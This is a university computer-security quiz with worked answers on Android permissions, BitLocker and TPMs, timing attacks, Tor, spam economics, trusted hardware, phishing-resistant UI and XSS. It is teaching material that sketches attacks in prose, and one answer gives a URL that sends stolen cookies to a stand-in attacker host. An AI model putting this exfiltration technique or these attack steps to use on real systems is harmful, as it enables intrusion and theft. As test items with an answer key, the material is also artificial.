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I Android 

To help people keep track of todo items on their Android phone, Ben Bitdiddle writes Ben’s Todo Manager. 
Ben wants to allow other applications to access todo items stored by his todo manager, so he implements a 
public content provider component that stores all of the todo items. To protect the todo items, Ben’s application 
defines two new permissions, com.bitdiddle.todo.read and com.bitdiddle.todo.write, 
which are meant to allow other applications to read and modify todo items, respectively. Ben also sets the 
read and write labels of his todo content provider to these two permissions, respectively. 

1. [4 points]: What permission type (“normal”, “dangerous”, or “signature”) should Ben choose for 
the two new permissions declared by his application? Explain why. 

Answer: Ben should use the “dangerous” permission, since to-do list items are sensitive data (you 
don’t want an unapproved application to read tasks or forge tasks). A newly installed application 
can acquire “normal” permissions without user approval, and “signature” permissions would only be 
available to applications developed by Ben (and signed by his signature). 

2. [4 points]: Ben decides to implement a notification feature for todo items: a day before a todo item 
is due, Ben’s application sends a broadcast intent containing the todo item, notifying other applications 
so that they may tell Ben to start working on that todo item. Ben sends the broadcast intent by using 
the sendBroadcast(intent) function. Explain what security problem Ben may have created by 
doing so, and specifically how he should fix it. 

Answer: The problem is that Ben’s broadcast intents can be received by any application that asks 
for them in its manifest, even applications that don’t have the com.bitdiddle.todo.read 
permission. To prevent this, Ben should use broadcast intent permissions as described in the An­
droid security paper, and specify the com.bitdiddle.todo.read permission when sending his 
broadcast intents. 
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3. [8 points]: Ben discovers that Android does not control which application declares which permis­
sion name. In particular, this means that another malicious application, installed before Ben’s Todo 
Manager, could have already declared a permission by the name of com.bitdiddle.todo.read, 
and this will not prevent Ben’s Todo Manager application from being installed. Explain the specific 
steps an adversary could take to attack Ben’s application given this weakness. 

Answer: A malicious application that’s installed before Ben’s Todo Manager can register a “normal” 
permission called com.bitdiddle.todo.read, request that permission for itself (which will be 
granted, since it’s “normal”), and then wait for Ben’s Todo Manager to be installed. Once Ben’s Todo 
Manager is installed, the malicious application can access Ben’s content provider, because it has the 
com.bitdiddle.todo.read permission, even though the user never approved this. 
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II BitLocker
 

Recall that a trusted platform module (TPM) contains several platform configuration registers (PCRs). The 
extend(n, v) operation updates the value of PCR register n by concatenating the old value of that PCR 
register (call it x) with provided data, v, and hashing the result, i.e., 

'x = H(xIv) 

where H is SHA-1, I is the concatenation operator, and x' is the new value of PCR register n. 

Suppose that H were instead an insecure hash function that admitted a preimage attack, that is, given some 
value a it is easy to find another value b  = a for which H(a) = H(b), and with high probability, it’s easy to 
find such a b that starts with a specific prefix. 

4. [6 points]: Could an attacker who has stolen a computer defeat BitLocker protection on its hard 
drive, with high probability? Explain how, or argue why not. 

Answer: Yes. Suppose an attacker boots up this computer from his own CD, which causes the BIOS 
to extend PCR register n to have the value P' , and suppose that PCR register n ordinarily has value Pnn
when Windows with BitLocker boots up normally. The adversary can now use the preimage attack on H 
to find a value b such that H(b) = Pn and b = P'Iz. The attacker now issues an operation extend(n,n
z), which causes the TPM to set PCR register n to H(P'Iz) = H(b) = Pn. Now the attacker can read n
the sealed encryption key from the on-disk partition, and use the TPM to unseal it, because the PCR 
register has the correct value. 

5. [6 points]: Could an attacker who has stolen the hard drive, but not the computer, defeat BitLocker
 
protection on that drive, with high probability? Explain how, or argue why not.
 

Answer: No, because the sealed disk encryption key is encrypted using the master key stored in the
 
original computer’s TPM chip, which is not accessible to the attacker.
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III Side channel attacks
 

Ben Bitdiddle wants to secure his SSL server against RSA timing attacks, but does not want to use RSA 
blinding because of its overhead. Instead, Ben considers the following two schemes. For each of the schemes, 
determine whether the scheme protects Ben’s server against timing attacks, and explain your reasoning. 

6. [4 points]: Ben proposes to batch multiple RSA decryptions, from different connections, and have 
his server respond only after all the decryptions are done. 

Answer: This scheme would not offer perfect protection from timing attacks (although it would make 
them more time-consuming). An adversary could simply issue a large number of identical requests that 
all fit into the same batch, and measure the time taken for the server to process all of them. Of course, 
this assumes there’s not too many other requests to the server that could throw off the adversary’s 
timing, although the adversary may be able to estimate or average out that variation given enough 
queries. 

7. [4 points]: Ben proposes to have the server thread sleep for a (bounded) random amount of time 
after a decryption, before sending the response. Other server threads could perform computation while 
this thread is asleep. 

Answer: This scheme would not offer perfect protection from timing attacks (although it would 
make them more time-consuming). An adversary can simply issue many requests to average out the 
randomness. An adversary can also use the same trick as in the paper, watching for the minimum 
decryption time observed by any request. 
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IV Tor and Privacy
 

8. [4 points]: An “Occupy Northbridge” protestor has set up a Twitter account to broadcast messages 
under an assumed name. In order to remain anonymous, he decides to use Tor to log into the account. 
He installs Tor on his computer (from a trusted source) and enables it, launches Firefox, types in 
www.twitter.com into his browser, and proceeds to log in. 

What adversaries may be able to now compromise the protestor in some way as a result of him using 
Tor? Ignore security bugs in the Tor client itself.
 

Answer: The protestor is vulnerable to a malicious exit node intercepting his non-HTTPS-protected
 
connection. (Since Tor involves explicitly proxying through an exit node, this is easier than intercepting
 
HTTP over the public internet.)
 

9. [4 points]: The protestor now uses the same Firefox browser to connect to another web site that
 
hosts a discussion forum, also via Tor (but only after building a fresh Tor circuit). His goal is to ensure
 
that Twitter and the forum cannot collude to determine that the same person accessed Twitter and the
 
forum. To avoid third-party tracking, he deletes all cookies, HTML5 client-side storage, history, etc.
 
from his browser between visits to different sites. How could an adversary correlate his original visit to
 
Twitter and his visit to the forum, assuming no software bugs, and a large volume of other traffic to
 
both sites?
 

Answer: An adversary can fingerprint the protestor’s browser, using the user-agent string, the plug-ins
 
installed on that browser, window dimensions, etc., which may be enough to strongly correlate the two
 
visits.
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V Security economics
 

10. [8 points]: Which of the following are true? 

A. True / False	 To understand how spammers charge customers’ credit cards, the authors of the paper 
we read in lecture (Levchenko et al) had to collaborate with one of the credit card association networks 
(e.g., Visa and MasterCard). 

Answer: False; the authors only collaborated with a specific bank, rather than an entire credit card 
association network. 

B. True / False	 The authors of the paper (Levchenko et al) expect it would be costly for a spammer to 
switch acquiring banks (for credit card processing), if the spammer’s current bank was convinced to 
stop doing business with the spammer. 

Answer: True. 

C. True / False	 The authors of the paper (Levchenko et al) expect it would be costly for a spammer 
to switch registrars (for registering domains for click support), if the spammer’s current registrar was 
convinced to stop doing business with the spammer. 

Answer: False. 

D.	 True / False If mail servers required the sending machine to solve a CAPTCHA for each email 
message sent, spammers would find it prohibitively expensive to advertise their products via email. 

Answer: True. Even though an adversary could solve CAPTCHAs by using Amazon’s Mechanical 
Turk, or otherwise getting humans to solve CAPTCHAs, the cost of solving one CAPTCHA is several 
orders of magnitude higher than the cost of sending a single spam e-mail today. 

7 



VI Trusted hardware
 

11. [8 points]: Ben Bitdiddle decides to manufacture his own TrInc trinkets. Each one of Ben’s 
trinkets is a small computer in itself, consisting of a processor, DRAM memory, a TPM chip, a hard 
drive, and a USB port for connecting to the user’s machine. 

To make his trinket tamper-proof, Ben relies on the TPM chip. Ben’s trinket uses the TPM to seal
 
(i.e., encrypt) the entire trinket state (shown in Figure 1 in the TrInc paper) under the PCR value
 
corresponding to Ben’s trinket software. The TPM will only unseal (i.e., decrypt) this state (including
 
counter values and Kpriv) if the processor was initially loaded with Ben’s software. When the trinket is
 
powered off, the sealed state is stored on the trinket’s hard drive.
 

Ben’s simplified trinket does not implement the symmetric key optimization from TrInc, and does not
 
implement the crash-recovery FIFO Q.
 

Assume Ben’s software perfectly implements the above design (i.e., no bugs such as memory errors),
 
and that the TPM, processor, and DRAM memory are tamper-proof.
 

How can an adversary break Ben’s trinket in a way that violates the security guarantees that a trinket is
 
supposed to provide? 

Answer: An adversary can save a copy of the sealed state from Ben’s trinket at one point, use the 
trinket, and at a later time replace the contents of the hard drive with the saved copy. This would 
provide an intact but stale copy of the trinket’s encrypted state, and result in the trinket’s counters being 
rolled back, which directly violates TrInc’s security goals. 
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Alice works for a bank that wants to implement an electronic currency system. The goal of the electronic 
currency system is to allow users to exchange coins. There is exactly one type of coin, worth one unit of 
currency. Alice’s bank maintains one server that initially hands out coins. The system should allow user A to 
give user B a coin even if the two users are disconnected from the rest of the world (i.e., cannot talk to the 
bank or to any previous holders of that coin). Furthermore, it should be possible for user B to now give a coin 
to user C without having to contact anyone else. It should be impossible for user A to “double-spend”, that is, 
to give the same coin to two different users. 

12. [14 points]: Design an electronic currency system assuming each user has a TrInc trinket. Assume 
each trinket’s public key is signed by the bank, that everyone knows the bank’s public key, and that all 
trinkets are tamper-proof and trustworthy. 

Explain three aspects of your design: 

•	 What is the representation of a coin that a user has to store?
 
(It’s OK if this representation is not constant size.)
 

•	 How does user A send a coin to user B? 

•	 What should user B do to verify that it has received a legitimate coin? 

Answer: 

A coin corresponds to a TrInc counter whose current value is 0, along with a chain of attestations (see 
below), all the way from the bank, that prove this counter is actually a coin rather than an arbitrary 
counter allocated by a user. 

Suppose A wants to send a coin to B, and the coin currently corresponds to counter cA on A’s trinket. 
A first asks B for the public key of B’s trinket (call it KB), as well as some counter ID on B’s trinket 
(call it cB) which will “store” the coin; presumably B will allocate a fresh counter cB in response to this 
request. A now bumps the counter value for cA from 0 to 1 and generates an attestation about doing so, 
by invoking Attest(cA, 1, h(KB,cB)). Finally, A sends to B this attestation, along with (KB, cB) and the 
list of attestation and key-counter pairs it received when it got its coin in the first place. 

When a bank first issues a coin to A, it asks A to allocate a new counter cA in its trinket with public key 
KA, and sends it the message h(KA,cA) signed by the bank’s public key, along with (KA,cA). 
To verify that it received a valid coin, B checks the attestations and key-counter pairs it received. The 
first attestation in the chain must be for (KB,cB), since otherwise the coin is being sent to some other 
trinket counter. Each attestation, including the first one, must have been generated by the next trinket in 
the chain, and must reflect the corresponding trinket counter being bumped from 0 to 1. The last entry 
in the chain must be a signed message from the bank granting the coin to the initial trinket-counter pair. 
Finally, B must verify that all trinket public keys are signed by the bank (to do this, it may be helpful to 
include the certificates along with the attestation chain). 

The representation of the coin grows with the number of hops it takes. A bank can always accept a 
coin and exchange it for a “short” one that’s directly signed by the bank. 
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VII Usability
 

13. [10 points]: Alice’s bank gives up on the trinket idea as being too costly. Instead, Alice is now 
designing a banking application for Android. She is worried that users of her banking application may 
be tricked into entering their bank account information into another look-alike application, because 
there’s no reliable way for a user to tell what application he or she may be interacting with. 

For example, there’s no way for a user to look at the screen and tell what application is currently 
running. Even if a user initially runs on a legitimate banking application, a malicious application can 
start an activity right after that, and display an identical screen to the user. Finally, applications can use 
full-screen mode to completely replace the entire Android UI. 

Propose a design in which users can safely enter their credentials into a banking application. Your 
proposed design can involve changes to the Android system itself. Unmodified existing Android 
applications must continue to work in your new design (though if you change the UI as part of your 
design, it’s OK if the applications look slightly different as a result). It’s fine to require sensitive 
applications (e.g., Alice’s new banking application) to do things differently in your design. 

Answer: Reserve a specific location on the screen (e.g., a bar at the bottom of the screen) to always 
display a security indicator that displays the name of the currently running application. 

Disallow true full-screen applications, and require this bar to be present even if they request full-screen 
mode. These applications will continue to work, but will have a slightly different appearance. 

Always display the application’s name from the manifest file in the reserved location on the screen, and 
have a trusted authority, e.g. the Android Market, ensure that unrelated apps do not pick confusingly 
similar names. 
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VIII Zoobar

14. [4 points]: After turning in lab 5, Ben Bitdiddle remarks that it is strange that the browser allowed
him to call the lab e-mail script in an <img> tag, and suggests that browsers should protect against
this attack by refusing to load images from URLs that contain query strings. If Ben’s proposal is
implemented, can an adversary still use <img> tags to email user cookies after exploiting a cross-site
scripting bug?

Answer: Ben’s proposal does not prevent an adversary from using <img> tags to email user cookies.
The adversary can simply encode the cookie in the image URL’s path name, as in

http://attacker.com/cookie-name/cookie-value.jpg.

15. [6 points]: Ben is working on a Javascript sandboxing system similar to FBJS and lab 6, and
he is worried that bugs in the Javascript parsing library that is used to rewrite code (e.g., Slimit) can
make his sandbox insecure. Suppose that Ben’s Javascript parsing library has some bug in the code
that parses Javascript code into an AST. Can an adversary exploit such a bug to subvert the sandbox?
Give a sketch of how, or explain why not.

Answer: An adversary cannot exploit such a bug, as long as the rewriting that happens at the AST level
is correct, and the conversion from AST back to Javascript is correct. Even if the adversary triggers the
bug, the rewriter will correctly sandbox the (mis-interpreted) code, and output correctly-sandboxed
code. The sandboxed code may not execute in the same way as the initial (mis-parsed) code would
have, but it cannot violate the sandbox.

11



IX 6.858 

We’d like to hear your opinions about 6.858 to help us improve the class for future years. Please answer the 
following questions. (Any answer, except no answer, will receive full credit.) 

16. [2 points]: What other topics would you have wanted to learn about, either in lectures or in labs? 

Answer: Any answer received full credit. 

17. [2 points]: What is your favorite paper from 6.858, which we should keep in future years? 

Answer: Any answer received full credit. The top answers were: 

10 votes: Tor. 

10 votes: Click trajectories.
 

7 votes: Timing attacks.
 

5 votes: Android.
 

5 votes: BitLocker.
 

4 votes: TrInc.
 

18. [2 points]: What is your least favorite paper, which we should get rid of in the future? 

Answer: Any answer received full credit. The top answers were: 

6 votes: XFI.
 

4 votes: RePriv.
 

4 votes: TaintDroid.
 

4 votes: The Venn of Identity.
 

3 votes: Click trajectories.
 

End of Quiz
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